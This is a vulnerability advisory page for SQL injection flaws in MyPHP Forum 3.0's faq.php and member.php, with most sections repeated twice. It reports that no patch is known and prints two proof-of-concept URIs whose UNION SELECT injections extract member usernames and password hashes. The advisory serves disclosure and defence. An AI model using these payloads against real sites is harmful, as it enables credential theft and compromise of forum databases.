MyPHP Forum 'faq.php' and 'member.php' Multiple SQL Injection Vulnerabilities
BID:27083
Info
MyPHP Forum 'faq.php' and 'member.php' Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 27083 |
| Class: | Input Validation Error |
| CVE: |
CVE-2005-0413 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 31 2007 12:00AM |
| Updated: | May 07 2015 05:34PM |
| Credit: | x0kster is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
MyPHP Forum MyPHP Forum 3.0 |
| Not Vulnerable: | |
Discussion
MyPHP Forum 'faq.php' and 'member.php' Multiple SQL Injection Vulnerabilities
MyPHP Forum is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
MyPHP Forum 3.0 is vulnerable; other versions may also be affected.
MyPHP Forum is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
MyPHP Forum 3.0 is vulnerable; other versions may also be affected.
Exploit / POC
MyPHP Forum 'faq.php' and 'member.php' Multiple SQL Injection Vulnerabilities
An attacker can exploit these issues via a browser.
The following proof-of-concept URIs are available:
http://www.example.com/faq.php?action=view&id=-1'+union+select+1,concat(username,0x3a,password),3+from+{table_prefix}_member+where+uid=1/*
http://www.example.com/member.php?action=viewpro&member=-1'+union+select+1,2,3,4,5,6,7,8,9,concat(username,0x3a,password),11,12,13,14,15,16,17,18,19,20,21,22+from+{table_prefix}_member+where+uid=1/*
An attacker can exploit these issues via a browser.
The following proof-of-concept URIs are available:
http://www.example.com/faq.php?action=view&id=-1'+union+select+1,concat(username,0x3a,password),3+from+{table_prefix}_member+where+uid=1/*
http://www.example.com/member.php?action=viewpro&member=-1'+union+select+1,2,3,4,5,6,7,8,9,concat(username,0x3a,password),11,12,13,14,15,16,17,18,19,20,21,22+from+{table_prefix}_member+where+uid=1/*
Solution / Fix
MyPHP Forum 'faq.php' and 'member.php' Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
MyPHP Forum 'faq.php' and 'member.php' Multiple SQL Injection Vulnerabilities
References:
References:
- MyPHP Forum Homepage (MyPHP Forum)